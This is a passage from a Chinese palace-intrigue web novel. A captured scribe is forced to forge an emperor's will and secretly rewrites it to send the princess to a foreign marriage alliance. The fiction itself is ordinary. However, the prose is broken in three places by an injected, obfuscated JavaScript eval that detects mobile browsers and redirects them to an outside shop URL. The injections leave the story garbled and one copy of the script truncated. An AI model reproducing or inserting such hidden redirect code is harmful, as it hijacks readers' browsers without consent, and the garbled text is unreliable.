薛适不由看向江岑许,他虽闭着眼难以令人知晓神色,但她却听懂了他的意思。 等到那时,他会主动告诉她一切,以真实的、属于他自己的身份。 “好呀。”薛适极快应道。 她声音温甜,但因染上几丝倦意,尾音有些拖长,添了些许缠绵的意味。 “到时候,还请多多指教。” - 第二日,薛适早早醒了过来,江岑许还在睡着,感受到他有些过高的体温,薛适摸了摸他的额头,应是发热了。 她赶忙轻手轻脚起身,打算出去寻些清热的草药。想到昨日经过的河岸边长有车前草,薛适直奔而去。 晨光熹微,云雾笼罩,薛适搓了搓寒凉的手,一路小跑,到河岸边时,天色稍亮了些,挖了足够多的车前草后,她想着再觅些吃食。临河处应该会长有不少植物,也许还藏着野味。 可还未等她向更深处找寻,耳边渐渐传来脚步声,大概来了两三个人。薛适连忙矮腰蹲下,用河边高高密密的酸模掩藏身形。 然而她却听见了一声极为讽刺的嗤笑在前方落下。紧接着,身后不远处的山坡上飞来一支羽箭,速度之快令人闪躲不及,径直刺向她的左肩。 怀中的车前草散落,薛适跌坐在地,视线模糊地看着眼前步步逼近的人。 “真是巧啊,薛待诏。”袁敏达气定神闲地踱步到跟前,朝对面挥了挥手,山坡上的人点点头,转身离开了。 他一脚踩向薛适的另一肩膀,痛得薛适倒吸了口气。 “不枉我没日没夜地找你们。说吧,这一次,五公主呢?” 薛适咬牙忍着痛,没吭声。 而袁敏达一提起江岑许,本就会想起过往的种种憋闷和愤怒,再看到对面只皱着眉却丝毫不喊痛求饶的人,火气瞬间更大了,他蹲下身,直接伸手狠狠掐住了薛适的脖颈,厉声吼道:“我说,江岑许呢?嗯?” 薛适被袁敏达摁倒在地,眼中蓄满了生理性泪水。她拼着难捱闷滞的呼吸,扯了扯唇,很平静地笑了笑:“殿下……嫌我是累赘,已经丢下我、一个人跑了……” “你是觉得本将没脑子?可以任由你一而再再而三地随意欺骗糊弄?”袁敏达咬牙切齿,怒目看着她,又加重了手上力道,“江岑许一个人就杀了我手下那么多人,她要是会丢下你,早就把你丢个千八百次了,还用等到现在?” 薛适没说话,而是趁着袁敏达发泄怒火的间隙,伸手拔出了束发的毛笔,拼尽浑身仅存的全部力气,死死将另一端刺向袁敏达的脖颈。 即便并不锋利,却是她现在唯一可以用来反击的东西,短促的劲力浑凝,多多少少也能造成伤害。 但袁敏达是什么人,他反应极快地先她一步向另一侧偏了下头,反手就压住了薛适紧紧握着毛笔的手腕,一举就将她彻底制伏在了原地。 然而目光回笼时,一向横眉暴怒的脸上却溢满了震惊,连手也不知不觉地松开了。 薛适面色惨白,这几日又奔逃在外,早已没了平时用于伪装的黄粉。此刻头发散落,容颜无暇,又纯又动人,连袁敏达这样粗线条的武将也不由得难以置信道:“你……竟然是女子??” 薛适却已闭上了眼,痛得晕了过去。 袁敏达一时间心情很是复杂。他一向不对女人动手,即便要杀五公主,也只是派人追杀,而不是亲自动粗。 想到自己两次掐向薛适的脖颈,她每一次都是倔强含笑的模样,似乎不知惧怕,也从不会屈服,他莫名烦躁起来,没忍住骂了声。 身旁跟着的人见自家将军半天没说话,大着胆子问道:“将军,该……如何处置?” 袁敏达站起身,没再看薛适:“她晕了,时间紧迫,直接把她带回长安吧,大皇子不是说有十足紧要的事需用到她吗。 至于江岑许……你带着其余的人就算翻遍整个洛阳搅得人人不宁,也务必要把她找出来,现即必杀,我就不信她还能有命活!” …… 江岑许醒来时,天光大亮。身上斗篷被人裹得紧紧实实,身旁除了规规整整放在布条上的草药外,再无其他,干净得像是从未有人在他身边过。 江岑许莫名心慌,顾不得管身上的伤,披上衣服就要起身,却听到门外传来脚步声。 不是薛适的。 江岑许手搭在腰间软剑,屏息聆听,随时准备出招。 破庙的门被来人打开,拐角处就是江岑许所在的位置,他算准时机,瞬间甩落出剑,直指来人—— “出事了。” 却是萧乘风带人赶了过来。 - 薛适再睁开眼的时候,四周一片死寂的黑暗。她被人绑在椅子上,手脚皆动弹不得,但肩上的伤口却被人包扎过。 “醒了?欢迎回到长安啊,薛待诏。 哦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13855981|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不,薛小姐。” 薛适刚一动弹,紧随椅子吱嘎声响落下的话语便清晰传来。 蜡烛被人点燃,果然映照着一张极为熟悉的脸。薛适眸光瞬间沉宁,满是戒备地盯着眼前靠近的人。 江接心情极好地拉了把椅子坐在对面,好像过往因薛适带来的麻烦从未存在过,语调也十分亲切熟稔:“别担心,本王叫大夫给你看过了,没什么大碍,伤口也是叫手下的婢女帮你包扎的。 只是,比起担心这个…… 薛小姐更应该担心自己女扮男装、入朝为官的欺君死罪吧。”江接一改平时的傲慢与不耐,很是和颜悦色地对她道,“真是看不出来,薛小姐好大的胆子呢。” 这样的江接反而更令薛适感到害怕和不安,竭力压下所有真实的情绪,她收了收飘忽措乱的目光,转而回以一笑,平静开口:“大皇子也是。即便知道了也没有杀我,更没有直接把我带到皇上那。 隐瞒不报,似乎也算是欺君?” 薛适抑制住内心的慌怕,冷静思考着眼前的处境。 江接原本的计划,应是直接在扬州起兵造反。眼下却不知出了什么变动,他竟回了京城。 除此之外,以江接的性子和对她的敌视,没有让袁敏达直接杀掉她实属一反常态;若想留她性命慢慢折磨,也没必要亲自在这等她醒来。 这样一想,似乎只剩下一种可能。 江接应是想利用她达成什么事,且很大程度上与他变动的计划相关,所以才会如此。 果然,一向易怒的江接听到薛适这话,不仅没有生气,反而云淡风轻地提议,端得是友好非常的态度:“既然我们都是胆子大的人,不如,薛小姐别跟着江岑许了,跟着本王吧? 本王不仅会保薛小姐女扮男装之事不败露,还会让你无性命之忧。作为交换,你只需小小地动一动代笔之能,助我完成一件事即可,是不是还挺划算?” 薛适不信事情会如江接所说那么简单,但也只能保持笑意,不慌不忙道:“虽然我无法确认大皇子是否会信守承诺,不仅为我保守秘密还会放过我,但我现在……好像也没有讨价还价的余地。信与不信,我应该都是非帮不可了。 不如,还请大皇子明言,我洗耳恭听?” 她只有一人,也不熟悉眼前这个地方。纵使她武力高强,也难以对抗江接手下不知数目的人。何况她只有三脚猫的功夫,又受了伤,更是无法逃脱。 只能将计就计,应下江接所谓的交换,好歹在江接眼中,她还有可利用的价值,这样也能多多少少争取些存活的时日。 江接哈哈笑道:“没想到薛小姐原来是如此聪敏爽快的性情,以前还真是本王小看你了。” 怪不得薛适会成为眼高于顶、极为挑剔的江岑许最为宠爱的“男宠”。 长得好看,人又有趣,胆子还大。 只是,可惜了…… 江接玩味地拍拍手,立即有人进来给薛适解开绳子,只是很快又都齐刷刷地离开了。 屋内依旧只剩下薛适和江接。 他从怀中掏出一卷明黄,递到薛适手中,轻飘飘地道:“那就烦请薛小姐,帮本王代写个遗诏?” 46. 风暴 与此同时,明相府。 明修过来时,见明相正立于案前练习书法,笑着躬礼道:“伯父似乎心情不错?” “修儿来了。”明相虽这么叫着,但笔下动作却丝毫未停,“这段时间辛苦你了。” “伯父跟我客气作甚?何况我只算是传话的,主要还是伯父你料事如神。” 明修坐在一旁椅子上,提前为明相斟好茶,“如伯父所说,大皇子真是把好用的剑,我和他只稍提了提许皇后的死,还有许皇后与遥妃的关系,大皇子就自动为我们创下了直指五公主的议论,虽说没挑拨成二皇子与五公主的关系,但二皇子一死,可给五公主惹来不少流言。眼下大皇子和五公主两人的名声,都没好到哪去。” 明相收笔用镇纸压好写完的书法,走过来啜了口茶:“遗诏的内容让人给大皇子透露了?” “嗯。大皇子听说后直接回了京,立马找人查探了番,最后果真查到了奚玄那去,最后知晓遗诏内容确实无疑,这几日一直折腾呢。”明修摇头叹道,“大皇子也是,都要谋反了,还在乎遗诏内容作甚?” 明相放下茶杯,拂了拂草灰色的袖口,慢条斯理道:“说到底,大皇子还是太在乎皇上的看法。他的野心,也不过是想让皇上看到他,得到认可。所以只需利用他这一点,他必溃不成军。” 明修忙应声附和:“还是四皇子更有天人之姿。不像大皇子冲动易怒,不像二皇子完全无心朝政,也没有五公主的深不可测。 最重要的是,他有伯父您在背后。” 明相也没理明修的这一番漂亮话,神色依旧如常,谨慎吩咐道:“大皇子那边就随他去吧,他闹得越狠,届时摔得越惨,也省得我再费心出手。五公主那边,继续派人刺杀,我要所有威胁都斩除,只留抒儿一人,稳坐皇位。” - 洛阳城郊,河岸边。 即便有了萧乘风的救助,但他们一行人为了躲避袁敏达又加大力度的追杀,还是费了不少时间。 江岑许重新覆上面具,盯着地上早已干涸的血迹,漂亮的眼中愠色浓烈,像是要刮起危险的风暴,直到吞噬一切。 他捏着车前草的手死死收紧,哑声问萧乘风:“薛适被袁敏达带走了,是吗。” 萧乘风也收起了平日说笑的神情:“嗯,不过你暂且不用担心,他被带回了长安,在大皇子那。 虽不知大皇子为何一改在扬州起兵的计划回了京城,又带走了薛适,但以大皇子和袁敏达的性子,既然在洛阳这没有直接杀他,那起码在我们赶回京城之前,薛适应该不会有危险。” 萧乘风将人手分成了两拨,一拨留在长安盯紧袁敏达手下兵马的动静,一拨随他出来接应江岑许。 令他意外的是,袁敏达竟在这种节骨眼上又带了不少亲信刺杀江岑许,萧乘风觉得莫名其妙,江接带去扬州的人混在官兵里刺杀江岑许还不够,怎么袁敏达也亲自上阵了?好在他一路快马加鞭,赶在袁敏达之前找到了江岑许。但现在看来,应是由于薛适外出采药吸引了袁敏达的注意,以为江岑许和他在一起,无形之中争取了时间。 只是,比起薛适被带走……眼下还有更重大的变故。 萧乘风深吸了口气,仍是驱不散心中的烦忧:“现在这一系列巨变,你打算怎么办?” 江岑许转身上马,山路广阔,他的身影却孤单而寂寥。 “江接意欲谋反,关塞蠢蠢欲动,父皇突然病逝……呵。”他掀了掀唇,忽地笑了起来,只是那笑,在他此刻苍白的面容上却显得极为缥缈。 “那就拿我这条命,阻他们所愿皆空?” 萧乘风看着江岑许冰冷的眼眸,比起冰冷更加刺目的,是其间压抑的悲痛与决绝。 他心里不是滋味,却又没有更好的办法。 萧乘风明白,江岑许是要将自己这些年培植的力量全部公之于众,带着所有人对抗江接,抵御关塞。 他本以为,只要江岑许顺利回京把江接造反的证据呈给皇上,不等江接正式起兵,一切都可止歇,归于安宁。未想到,边关传来消息,关塞蠢蠢欲动,打算重卷当年战火。紧接着,皇上好端端地却突染恶疾,不出三日就病逝了。 种种件件,明摆着的事有蹊跷,蓄谋已久。但此刻所有事混在一起,他们根本来不及挨个梳理。 最直接的方式,就是江岑许所指的——杀。 用武力解决,换得喘息的机会,再好好调查明白。 但这也意味着……江岑许会暴露自己的真实身份。 哪怕把他萧家的人全算上,与江岑许的人一起,他们在人数上也远远比不上袁家和江接的联军。就算江岑许命大,能在江接手下活命,可在明相那儿呢?在战场上呢? 萧乘风向来奉行男儿有泪绝不弹,但现在,他骑马迎在呼啸的寒风中时,眼眶却有些发热。 他接着江岑许的话,应了声:“行啊,兄弟我跟你一起就是了。” - 洛阳的寒风一路向北,袭卷至长安。 窗外风声猎猎,呼啸如蹄。 即便薛适待在房内,她却觉得,比朔风更冷更刺耳的,是自己此时猛烈撞动的心跳。 手上那卷明黄,蚕丝绫锦,瑞鹤祥云,除了上面空白无字,外观上基本与真的圣旨无异。 她故作镇定地细细看了番,半晌,竭力平缓道:“大皇子果然神通广大。只是,即便我能模仿皇上的字迹写上大皇子想要的内容,但圣旨的制作皆需签字画押,若有心之人见了这封遗诏,一看便知实为伪造。?” “无妨。”江接一点也不担心,“届时只需宣读,远远让朝臣看上一眼即可,谁能轻易想到伪造遗诏这种事?自然也不会有人往这上面怀疑。” 薛适不死心:“但宣读之人看到遗诏,难保不会发现端倪。” 江接挑眉看了她一眼,语调有些讽刺:“薛小姐这么快就和本王站成一线了啊,想得还真是细腻。 还是说,其实你是在想尽一切办法找到无法施行的纰漏,好让本王打消伪造遗诏的念头?” 薛适脸色一白,勉强扯了扯唇,恭敬道:“不敢。” 江接嗤了声,嘴角笑容志在必得:“来人,请奚公公进来。” 薛适不可置信地抬眸,幸她神色收敛得快,否则必会令江接捕捉到端倪。 可是,奚公公不是皇上的贴身宦官吗? 怎么会…… 门被来人推开,粗重的声响后,奚玄一身宦官服走进,一如平常。 只是在看到薛适时,眼中惊诧明显,但很快就被他低垂颤动的睫毛掩去了。 “见过大皇子。” 江接抬了抬下巴,眼神在两人之间流转:“奚公公是父皇的贴身宦官,自会负责宣读遗诏,薛小……薛待诏可还有疑问?” 薛适看向奚玄,上一次见到他,还是去扬州之前,她到荐福寺给奚玄送平日需抄给明皇后的经文,想让奚玄和明皇后借此有更多相处的机会。 几个月过去,她没有想到,两人再见会是眼下这般情境。 薛适移开目光,状似若无其事道:“原来,奚公公也是大皇子的人。” 她虽与奚玄只见过几次面,但从平时的接触,和明皇后同她说过的来看,她相信奚玄对明皇后的情意,也觉得奚玄谦逊知礼,君子秉性。 这样的人,又怎会突然听命于大皇子,还涉及伪造遗诏这种大逆不道之事? 江接只回了句“毕竟人都怕死,奚公公也不例外”。 “好了,本王还有要事办,就先出去了。奚公公常跟在父皇身边,应是十分了解圣旨格式,就帮着薛待诏写明——” 说到这,江接忽地顿了顿,神色间竟有些挫败和失落,不过转瞬即逝,很快又恢复了高傲和自信,“将皇位传于本王的遗诏。” 说完江接便出去了,想必派了不少人在外边监视,才会如此放心。 薛适虽猜到江接让她代写遗诏的内容会是传位于他,但亲耳听见江接这般轻描淡写地说出来,还是觉得心惊。 因方才江接在时,她一直高度戒备地站着,此刻突然松了口气,脚下一软,直接跌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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我无法看到遗诏的内容,但大皇子看过遗诏后,脸色十分不好,并威胁我宣读由他所改的遗诏,否则就取我性命。】 【我假意害怕,应下大皇子的要求,这样便能如明相所愿。届时由明相揭发大皇子伪造遗诏之事,大皇子难以翻身,甚至还会因此遭朝臣怀疑是他弑父夺权。】 【如此,除了五公主,四皇子……便是唯一可登皇位之人。不瞒薛待诏,这也是我的私心。明相连对自己的女儿都可以下手,若四皇子不登上高位,如何护得住娘娘?】 怪不得明相会派人刺杀江岑许。 江接身败名裂,江措遇害,江岑许再遭刺身亡,江抒便确确实实成为了皇位的唯一人选。 但,令薛适更没想到的是,平日看起来谨慎谦和的奚玄会为了明皇后做出如此大胆的事,甚至毒杀皇帝也在所不惜。 她想到昭景帝亲切的面容,又想到明皇后总是落寞的眼,心头闷涩而悲凉。原来,即便身居高位,也敌不过人心,无法完全由己。 薛适觉得无能为力,可事情不发生在自己身上,谁又能百般确认,不会做出一样悖逆天理的决定呢。 奚玄没有注意到薛适复杂变化的神色,继续写道:【明相只顾权势不念亲情,我担心他哪怕知道薛待诏伪造遗诏有苦衷,也会将你波及,以求彻底击垮大皇子。】 明相会保住奚玄,因为需用他的性命来牵制明皇后。否则以明皇后刚烈的性情,定会不顾一切将这些年她所知晓的关于明相所做之事说出去。 可薛适于明相而言,没有丝毫作用。 她现在被江接和明相两头夹击,听命江接事后会死,不听命江接立即会死。 奚玄实在担心,他很感激薛适为他和明皇后所做的一切。他想帮她,却又不知该如何破局。 正当他还想落笔写些什么时,薛适却轻轻按住了笔端。 奚玄疑惑地看着她,薛适接过笔,垂眸书写时看不清眸色,但紧绷的下颔却勾出坚毅而决绝的直线。 【奚公公,烦请你帮我一个忙。】 薛适极快地写明了自己的想法,奚玄惊地忍不住出声,忧色更重:“这不行……” 薛适却是笑着摇摇头,态度坚决。 【如果这是最后一次代笔,我希望,大益的太阳永远不会沉寂和坠落。】 47. 设局 江接进来时,奚玄行过礼,道:“我已指点完薛待诏关于圣旨的格式,先行告退,不然太久不在宫中,恐引人猜疑。” “下去吧。” “不过,本王劝你不要轻举妄动。取你性命对本王来说,就像伸伸手指一般轻易。” 奚玄作害怕状,畏缩应道:“是。” 奚玄走后,江接看向趴在桌上睡得正熟的薛适,觉得她胆子真不是一般的大,命都在别人手里,还有心思睡觉,讥笑了声,敲了敲桌子:“薛小姐?” 薛适没反应。 江接不耐地又敲了好几声,直到薛适察觉到身旁的人吸气的声音都带了暴躁的怒气,才悠悠转“醒”。 距奚玄出去已经有一会儿了,江接并未搜他身,也没发生其他任何异常,看来计划暂且很顺利,也就犯不上再接着装睡吸引江接注意,以防他觉察到什么拦住奚玄。 薛适故作困倦地揉了揉眼睛,佯装是才看清江接前来,赶忙吓得起身跪礼:“我……我睡得太沉了,没能及时回复大皇子,真是该死!” 江接活到现在,还是第一次亲自叫人起床。要不是整个大益实在找不到第二个如薛适一般,模仿他人字迹能以假乱真的,他真想现在就杀了她。 “……没事。”江接暗暗咬牙,扯出个友好十分的笑,“薛小姐伪造遗诏辛苦,会累实属正常。”他伸出手,意思明显,“我看看遗诏写得如何,明日就要宣读了。” 薛适疑惑地眨了眨眼,很是迷茫:“不是写完后直接交给奚公公吗?” 在江接猛然投射的凶狠眼刀下,薛适就像没看到一样,依旧笑眯眯地从容道,“因为那时问过大皇子,确认了奚公公是您的人。我想着奚公公身为先帝的贴身宦官,方才又恰好在这,直接带走遗诏总好过大皇子您事后再找人给他送去易生变故。毕竟此事非同小可,万万不能出现分毫差错,误了您的大计。” 江接面色这才缓和:“薛小姐所言极是啊。也罢,过会儿我再亲自去奚玄那儿看看。” 他鹰眸锐利,直直盯着薛适,丝毫不放过她脸上任何一抹变化的神色。 薛适此人,自他接触以来,最深刻的印象就是胆子极大,完全做得出没写遗诏,而是想办法将奚玄糊弄过去的事。 江接不禁后悔,当初他应该把手头事交给袁敏达他们处理,自己就该一直待在这亲眼看着她把遗诏写好。 他只是没想到,薛适都被他囚住了,随时性命不保,还能有法子在他意想不到之处生出变数,令他不确定。 然而薛适仍只笑着,神情半分未变,甚至毫不心虚地对上江接的视线,点头道:“好啊。” 江接越看她这副样子越觉得烦躁,真真假假看不透的感觉,简直跟江岑许一个样!他索性不装了,也不一口一个“薛小姐”地叫了,直接恶狠狠道:“薛适,如果让我发现你在耍花招,我会立马杀了你,不会有半点延迟!” 江接说完,怒哼了声转身出去了,屋内只剩下薛适一人。 薛适收回笑容,目光落在摆放的香炉上。 那里面,装着早被她和奚玄用蜡烛焚烧殆尽的纸屑。 在跳动的烛火下,他们写于纸上的计划已然开始。 …… 因薛适装睡,引得江接迟了会才知遗诏被奚玄带走了。 所以即便江接想叫他回来重新确认遗诏内容,也已经来不及了。因为奚玄一出来,就想办法和明相的人取得了联系,他们传信的方式隐秘,即便江接的人一直在暗中监视,也没发现端倪。 奚玄刚一进来,明相便道:“大皇子找了薛适伪造遗诏?” 话中确认之意明显,如此发问不过是想听奚玄再说一遍。 “是。”明相耳目通天,奚玄也没想隐瞒。 “现在假的遗诏,被我放在了皇上生前命我安放真实遗诏的密格。只是,我怕大皇子今晚会来找我百般确认遗诏内容,误了与您商讨明日揭发大皇子的流程,更怕稍有不慎,会暴露自己是假意受大皇子胁迫,实则为您办事。” 其实伪造的遗诏没在密格,而是在他身上,但为防明相可能随口提出查看遗诏内容,致使薛适的筹谋败露,奚玄依薛适意思谎称放在密格,明相便也犯不上特地让人跑一趟把遗诏拿过来看。 明相稍一颔首:“无妨,我会找人引开大皇子。” “明日朝臣将共议皇位人选,照大皇子这几日的准备,他定会选择在明日靠假遗诏谋权夺位。” “若揭发大皇子伪造遗诏的话,那薛待诏……”奚玄试探问道。 果然如奚玄事先所想,明相淡淡道:“他自己不知天高地厚,靠着那点笔墨本事行事张扬,本相便也不必费心留他性命。” 明文昌在官场浸淫多年,薛适被江接挟持如此显而易见的事,又怎会不知?不过摆明了不想多生事端去管薛适生死。 他看向奚玄,意有所指道:“何况,薛适与你又不同。茵儿再怜爱他,也比不上你,会让她寻死觅活。” 奚玄猛地一颤,把身子伏得更低:“得娘娘垂怜……是奴婢之幸。” “明日遗诏宣读过后,你便找机会出殿,长安你现在待不得,我会让人将你秘密遣送出京。毕竟你为先帝贴身宦官,难免不遭人询问先帝染病之事。” “何况,”他高高在上,反问奚玄,“你应知我只将你送走,却不杀你的原因吧?” 明相语调不疾不徐,奚玄却暗暗收紧了藏在袖下的手。 “……知晓。” 明相盯着奚玄,目光幽深。 茵儿对外一向淡然,没在乎过什么,只除了眼前这人。 若是杀了奚玄,以茵儿倔强刚烈的性情,定会同他拼死拼活,若是抖出来连他都不知的把柄,岂不是得不偿失?左右奚玄也成不了大气候,届时将他送离京城,囚禁看管,严防他说出毒杀先帝的真相,也算可控,还能用他的命挟住茵儿,由他摆布。 - 第二日。 大明宫,紫宸殿。 薛适混在朝臣之间,也站在了这里。 昨晚江接想要找奚玄求证遗诏内容时才知,明相的人早已叫走了奚玄,说奚玄身为先帝的贴身宦官,要问些细节为今日众议皇位之事做准备。江接无法强行叫走奚玄惹明相生疑,只得就此作罢。 但他始终疑心薛适根本没写内容,只好把她带出来,想着若发现遗诏为空,也能找机会逼她赶紧写上,免得再遣人折回找她,费时费力。 薛适悬着的心稍稍安定了些。 这说明到目前为止,除了她和奚玄,还无人看过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13941032|135582||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 假遗诏的内容。 座下,朝臣们各个头疼起大益目前的局势。 “还以为这关塞得再花个几年休养生息,没想到这么快就又挑起了战事。袁老将军可不比当年身子骨康健啊。” “不还有袁小将军吗?虽战略上袁将军不够精通,但基本的带兵迎敌还是可以的。” “关塞那头可是关塞王子什勒亲自出征,什勒的声名你们也知道,被称为不亚于其祖父、关塞百年难遇的奇才。战略、战术、指挥、执行……样样精通,四个袁将军都未必顶得上啊!” “哎,先不说关塞,咱们大益内部还一团乱呢。这皇上好端端地,怎么染了腹疾?宫中膳食向来把关严格,也不太可能是吃了什么要命的东西啊。” “谁知道啊,宫中御医、民间大夫,所有医术高超之人各个看过都说,皇上是吃坏了东西才导致腹泻不止,最终崩逝。 今冬天冷,皇上又爱食野味煲汤,许是什么害人的罕见畜生天生剧毒,一时难察。” “但不管怎么说,对内好歹还有明相在,明相一路辅佐皇上登基,再辅佐新帝也定不成问题。无论是大皇子还是四皇子甚至哪怕五公主登基,有明相在后帮着,大益内部自不会乱。主要是对抗关塞,朝中找不出像明相一样的人啊……” 在一片唉声叹气中,明皇后身着雍容华丽的祎衣走进。 宽大的衣裳将她的身形衬得十分单薄,但她依旧姿态端正,不卑不亢地迈着脚下步伐,眸色如水,沉静却暗含威仪,看向聚在殿上的诸位朝臣。 明皇后作为皇上驾崩、皇位未定之际唯一拥有最高权力之人,又是明相的女儿,众朝臣皆是恭敬万分,忙拜礼道:“皇后娘娘千岁千岁千千岁。” 明皇后一一扫过众人,包括和她前后脚进来的袁敏达、明相、江接…… 最后,视线停留在了江抒和薛适身上,目光才温和了些。 “诸位平身。” 像是象征皇室的物什,明皇后走完面上的流程,便只需站在那儿。 其余的话明相自会说出:“皇上驾崩,关塞作乱,除去悲痛外,最要紧的是我大益急需新帝登基,主持朝政,带领大益重归繁盛与和平。不知诸位心中可有皇位人选?” 正当各个朝臣要开口提议时,一声“且慢”落在大殿。 奚玄身着宦官服踏入,他声音偏柔,却不刺耳,反倒添了世家公子的温润。 “皇上生前早已拟了遗诏,奴婢奉皇上旨意,前来宣读。” 奚玄不着痕迹地与江接对视了一眼,江接这才放心,看来薛适确实如约写了遗诏。 明相依着与奚玄先前对过的流程,最先拜礼:“圣旨在上,如见皇上。” 众朝臣也纷纷跟着见礼,等待遗诏的内容。 江接更是焦急,虽知依这假遗诏,皇位会传于他,但江接担心明相等朝臣会想办法刁难,不臣服于他。 不过他和袁敏达早已部署好了一切,现在宫外都潜伏着他们的人。若是软的不行,那就来硬的! 在众人炽热交汇的目光下,奚玄徐徐展开那卷明黄,抻开,手执两端,念道: 【奉天承运,皇帝诏曰:今五公主江岑许才情绝艳,姿仪无双,特赐公主和亲关塞王子,翘企交好,护卫和平。钦此!】 48. 将颓 奚玄念完,整个紫宸殿一片死寂。 薛适只听得见自己的心跳,急促而剧烈,像极了曾和江岑许坐着小木船从龙尾道滑下去时的次率。相同地,害怕也只有一瞬。那时是在高处纵越的刹那,这次是提笔写下遗诏的顷刻。 但现在,心头所有的重缚都已彻底卸开,更多的是轻松和坦然。 薛适敢这么赌,最重要的原因是长久以来的接触,她深知江接高傲自大的性格,觉得一切尽在掌握,都已经囚禁她了肯定不会再有什么变故,所以没有盯着看拟写遗诏的过程。 正因如此,她才能有机会写自己想写的内容,又联合奚玄避免让江接提前知晓。 薛适跪伏在地,眼前只有光滑的地面。她看着看着,好像以另一种旁观的视角,见到了这段时日的经历,但其间埋藏的苦痛与自责,却无法只是旁观。 那些情绪仍在她心口,真实而深刻地不断浮现轮映。 她看见清弥法师周身金光,死在与阿雅约好见面的那一天;她看见江措倒在血泊,死在他们常去的见南山、靠窗的角落。 而她每一次都在迟来,只能事后写一篇檄文、刻一方碑石去铭记。 但这一回,她被裹挟在阴谋开始的时候。 她要救下江岑许,不再只能事后悔恨和难过。 薛适不敢想,如果江接靠着自己伪造的传位遗诏成功登基,江岑许会是怎样的结局。 他无论如何,都不会有活路。 若江岑许不反抗,江接也会找理由将他处死,斩草除根。 若江岑许极力反抗,萧乘风的人和游目院中的人加在一起,数量上也敌不过江接和袁敏达的人。何况袁家手握大益最多的兵权,而袁敏达又是右羽林军的将军,这意味着北衙禁军也能供他差遣。哪怕江岑许和他的人武功再厉害,釜底抽薪、拼上一切,也难有战胜的可能。纵然他们手握江接此前筹谋造反的证据,但昭景帝已死,那些证据也成了一场空。而江岑许一败,江接更能理所应当地给他冠上谋逆之名,定罪处死。 薛适不想本该意气风发的少年,一直困在面具下,活在流言中,甚至最后只能惨死在深宫。 这样,太遗憾了。 她想到阿雅的承诺。 如果遗诏的内容是让五公主和亲关塞……阿雅听到消息,以她的性格定会念着在扬州的交情,照拂江岑许。 而且关塞王应该也会因着与许皇后青梅竹马的交情,护着江岑许吧。 更重要的是,她相信以江岑许的能力,哪怕是在关塞,也会有办法立足。 远离长安后,他还能有机会做真实的自己。 那是此后,他在关塞的未来。薛适无法确切知晓。 但起码……江岑许会活着,会比留在长安活得久。 沉闷的静在紫宸殿上凝滞,像是无形的重石,悬于静默的空气。 江接死死睨着趴在角落的薛适,气得快要把牙咬碎。 他万万没想到,薛适居然会写这样一封遗诏。更不理解,为何她不老老实实写传位遗诏,非要自作主张搞出个让江岑许和亲关塞的遗诏? 江接暂且按捺住疑问与怒火,率先出声:“奚公公定是哪里弄错了,父皇应该还有别的遗诏吧?” 朝臣们纷纷表示赞同。 “没道理啊,皇上都留下让公主和亲的遗诏了,怎能没留下传位的遗诏?” “就是。何况,哪怕将五公主派去关塞和亲,未必就能换来两国和平。如此浅显之事,皇上怎会想不到?两相比较,还是皇位的归属更重要啊!” 明相默默听着,没有出声。 整个大益,为数不多知晓遗诏真正内容的,只有三人——死去的昭景帝、明相和江接。 皇上所留遗诏清清楚楚写着,自己崩逝那天,将皇位传给五公主江岑许。 虽然江接看到后立即把遗诏烧毁了,但他还是让袁敏达带着大量人手去刺杀江岑许,力求万无一失。 所以,明相虽十分意外薛适竟写了这么一封遗诏,但他并不担心。 一是因为,他也早早派了人去刺杀江岑许。一介女流凭什么靠着昭景帝对许皇后的爱,还能坐拥皇位?为防她有命回,明相决定改动原先揭露遗诏为假的计划,将计就计让江岑许和亲关塞。这样路途凶险,两国又在交战之际,江岑许同样必死无疑。 二是因为,江接计谋未得逞,肯定还会再弄出乱子,他没必要先出手打草惊蛇,只需等着江接自乱阵脚,再随后攻破即可。 果然,就听江接继续道:“本王为父皇长子,理应在大益混乱之时肩负起重任,直到找出父皇留下的另一封遗诏。”他拍了拍手,下一刻,袁敏达立即带人踏入了紫宸殿,手执兵刃,气势威猛,俨然是将殿上所有人都严密包围了起来。 有朝臣看不下去,责怪道:“大皇子,袁将军,你们这是何意!这是……这是要造反吗!” 话音刚落,只听“呲”地一声,袁敏达一挥长刀,说话的朝臣脖上一凉,顿时血流如注,直接瞪着眼倒在了殿上。 “啊——” 其他朝臣见了,吓得惊叫出声,江接却是自若地笑了笑:“造反?造谁的反?父皇已逝,本王是长子,继承皇位天经地义!” “你说呢,明相?”他眼神阴寒,先是扫过一脸不可置信的江抒,最后落在站在最前面的明相身上。 “大皇子所言极是。” 明相暗暗勾起个讥讽的笑。就先让江接得意几日,这样他闹得越凶,到时名声越败。造反确凿,他永远都无法在世人眼中翻身,更难以在史书上留下青名。 江接哈哈笑着,径直坐在了龙椅之上:“诸位大人今日就先请回吧。之后该说什么、该做什么,大人们都是聪明人,想必应该清楚,违逆本王的下场。”他眼指了指殿上那滩刺目的红,语中威胁之意丝毫不掩。 